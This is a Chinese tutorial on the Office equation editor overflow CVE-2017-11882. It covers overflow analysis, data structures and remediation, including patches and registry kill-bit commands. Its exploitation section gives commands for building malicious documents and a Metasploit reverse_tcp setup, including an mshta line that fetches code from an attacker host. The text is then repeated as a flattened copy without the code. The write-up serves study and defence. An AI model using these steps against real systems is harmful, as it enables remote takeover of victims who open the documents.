Office系列漏洞之CVE-2017-11882
字数 1755 2025-08-18 11:37:33

Microsoft Office CVE-2017-11882漏洞分析与利用指南

一、漏洞概述

CVE-2017-11882是Microsoft Office中的一个高危漏洞,属于缓冲区溢出类型漏洞。该漏洞存在于EQNEDT32.EXE(微软Office自带的公式编辑器)组件中。

漏洞基本信息

  • 漏洞ID: CVE-2017-11882
  • 漏洞名称: Microsoft Office数学公式编辑器内存损坏漏洞
  • 漏洞类型: 远程代码执行
  • 威胁类型: 栈溢出
  • 影响版本: Microsoft Office 2000/2003/2007 sp3/2010 sp2/2013 sp1/2016

漏洞原理

EQNEDT32.EXE进程在处理包含MathType的OLE数据时,在拷贝公式字体名称(Font Name数据)时没有对名称长度进行校验,导致缓冲区溢出。攻击者可以通过精心构造的恶意文档覆盖函数的返回地址,从而执行任意代码。

二、漏洞环境搭建

测试环境

  • 操作系统: Windows 7 32位
  • Office版本: Microsoft Office 2013 sp1

漏洞测试工具

GitHub上提供了漏洞测试工具:

https://github.com/Ridter/CVE-2017-11882

三、漏洞分析

漏洞定位

  1. 使用OD(OllyDbg)调试EQNEDT32.EXE进程
  2. 对WinExec函数下断点(因为漏洞利用通常会调用该函数弹出计算器)
  3. 分析调用栈,找出溢出点

关键分析点

  • 漏洞函数位于41160F处
  • [ebp+28]分配的空间为0x24,超过此长度就会产生溢出
  • 溢出后会覆盖原始返回地址4115D8
  • 覆盖后的地址通常指向shellcode存放的位置(如12F350)

数据结构分析

漏洞存在于EQNEDT32.EXE处理Office OLE Equation对象中标记为字体名称记录的字节流中。

Equation Native数据流结构

Equation Native数据流 = EQNOLEFILEHDR + MTEFData
MTEFData = MTEFheader + MTEF Byte Stream

EQNOLEFILEHDR头结构(共28字节):

struct EQNOLEFILEHDR {
    WORD cbHdr;      // 格式头长度,固定为0x1C
    DWORD version;   // 固定为0x00020000
    WORD cf;         // 该公式对象的剪贴板格式
    DWORD cbObject;  // MTEF数据的长度,不包括头部
    DWORD reserved1; // 未公开
    DWORD reserved2; // 未公开
    DWORD reserved3; // 未公开
    DWORD reserved4; // 未公开
};

FONT记录结构

struct stuFontRecord {
    BYTE bTag;       // 字体文件的tag位0x08
    BYTE bTypeFace;  // 字体风格
    BYTE bStyle;     // 字体样式
    BYTE bFontName[n] // 字体名称,以NULL为结束符
};

字段说明:

字段 说明
Tag 0x08 1字节,固定为0x08
tface typeface number 1字节,Typeface编号
style 1或者2 1字节,1表示斜体,2表示粗体
name Font name (null-terminated) 字体名字,以Null结尾

四、漏洞利用

1. 基础利用(弹出计算器)

使用提供的Python脚本生成恶意文档:

python Command_CVE-2017-11882.py -c "calc.exe" -o test.doc

2. Metasploit框架利用

环境准备

  • 目标机:Windows 7 + 有漏洞的Office
  • 攻击机:Kali Linux

步骤

  1. 下载Metasploit模块:
https://github.com/0x09AL/CVE-2017-11882-metasploit
  1. 将组件复制到相应目录:
    • cve_2017_11882.rb → /usr/share/Metasploit-framework/modules/exploits/windows/smb
    • cve-2017-11882.rtf → /usr/share/metasploit-framework/data/exploits
  2. 启动Metasploit:
msfconsole
  1. 查找并使用漏洞模块:
search 11882
use exploit/windows/smb/cve_2017_11882
  1. 设置参数:
set payload windows/meterpreter/reverse_tcp
set LHOST <攻击机IP>
set URIPATH test
  1. 生成恶意文档:
python Command109b_CVE-2017-11882.py -c "mshta http://<攻击机IP>:8080/test" -o test.doc
  1. 目标机打开文档后,攻击机将获得meterpreter会话。

RTF结构分析

利用\objupdate控制字使OLE对象自动更新和加载,无需用户交互即可触发漏洞。默认状态下需要用户双击OLE对象才能生效,通过设置为自动更新,打开文档即可执行恶意代码。

五、漏洞修复

1. 官方补丁

下载微软官方补丁进行修复:

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882

2. 禁用EQNEDT32.EXE组件

执行以下命令取消该模块的注册:

reg add "HKLM\SOFTWARE\Microsoft\Office\Common\COMCompatibility\{0002CE02-0000-0000-C000-000000000046}" /v "Compatibility Flags" /t REG_DWORD /d 0x400
reg add "HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\Common\COMCompatibility\{0002CE02-0000-0000-C000-000000000046}" /v "Compatibility Flags" /t REG_DWORD /d 0x400

3. 开启自动更新

启用Windows Update功能,定期自动更新系统。

六、总结

CVE-2017-11882是一个影响广泛的Office漏洞,攻击者可以通过精心构造的恶意文档实现远程代码执行。由于EQNEDT32.EXE作为独立进程运行,Office自身的保护机制无法阻止其被利用。建议用户及时安装补丁或禁用相关组件,同时提高安全意识,不要随意打开来源不明的Office文档。

Microsoft Office CVE-2017-11882漏洞分析与利用指南 一、漏洞概述 CVE-2017-11882 是Microsoft Office中的一个高危漏洞,属于缓冲区溢出类型漏洞。该漏洞存在于EQNEDT32.EXE(微软Office自带的公式编辑器)组件中。 漏洞基本信息 漏洞ID : CVE-2017-11882 漏洞名称 : Microsoft Office数学公式编辑器内存损坏漏洞 漏洞类型 : 远程代码执行 威胁类型 : 栈溢出 影响版本 : Microsoft Office 2000/2003/2007 sp3/2010 sp2/2013 sp1/2016 漏洞原理 EQNEDT32.EXE进程在处理包含MathType的OLE数据时,在拷贝公式字体名称(Font Name数据)时没有对名称长度进行校验,导致缓冲区溢出。攻击者可以通过精心构造的恶意文档覆盖函数的返回地址,从而执行任意代码。 二、漏洞环境搭建 测试环境 操作系统 : Windows 7 32位 Office版本 : Microsoft Office 2013 sp1 漏洞测试工具 GitHub上提供了漏洞测试工具: 三、漏洞分析 漏洞定位 使用OD(OllyDbg)调试EQNEDT32.EXE进程 对WinExec函数下断点(因为漏洞利用通常会调用该函数弹出计算器) 分析调用栈,找出溢出点 关键分析点 漏洞函数位于41160F处 [ ebp+28 ]分配的空间为0x24,超过此长度就会产生溢出 溢出后会覆盖原始返回地址4115D8 覆盖后的地址通常指向shellcode存放的位置(如12F350) 数据结构分析 漏洞存在于EQNEDT32.EXE处理Office OLE Equation对象中标记为字体名称记录的字节流中。 Equation Native数据流结构 EQNOLEFILEHDR头结构 (共28字节): FONT记录结构 : 字段说明: | 字段 | 值 | 说明 | |------|----|------| | Tag | 0x08 | 1字节,固定为0x08 | | tface | typeface number | 1字节,Typeface编号 | | style | 1或者2 | 1字节,1表示斜体,2表示粗体 | | name | Font name (null-terminated) | 字体名字,以Null结尾 | 四、漏洞利用 1. 基础利用(弹出计算器) 使用提供的Python脚本生成恶意文档: 2. Metasploit框架利用 环境准备 : 目标机:Windows 7 + 有漏洞的Office 攻击机:Kali Linux 步骤 : 下载Metasploit模块: 将组件复制到相应目录: cve_ 2017_ 11882.rb → /usr/share/Metasploit-framework/modules/exploits/windows/smb cve-2017-11882.rtf → /usr/share/metasploit-framework/data/exploits 启动Metasploit: 查找并使用漏洞模块: 设置参数: 生成恶意文档: 目标机打开文档后,攻击机将获得meterpreter会话。 RTF结构分析 利用 \objupdate 控制字使OLE对象自动更新和加载,无需用户交互即可触发漏洞。默认状态下需要用户双击OLE对象才能生效,通过设置为自动更新,打开文档即可执行恶意代码。 五、漏洞修复 1. 官方补丁 下载微软官方补丁进行修复: 2. 禁用EQNEDT32.EXE组件 执行以下命令取消该模块的注册: 3. 开启自动更新 启用Windows Update功能,定期自动更新系统。 六、总结 CVE-2017-11882是一个影响广泛的Office漏洞,攻击者可以通过精心构造的恶意文档实现远程代码执行。由于EQNEDT32.EXE作为独立进程运行,Office自身的保护机制无法阻止其被利用。建议用户及时安装补丁或禁用相关组件,同时提高安全意识,不要随意打开来源不明的Office文档。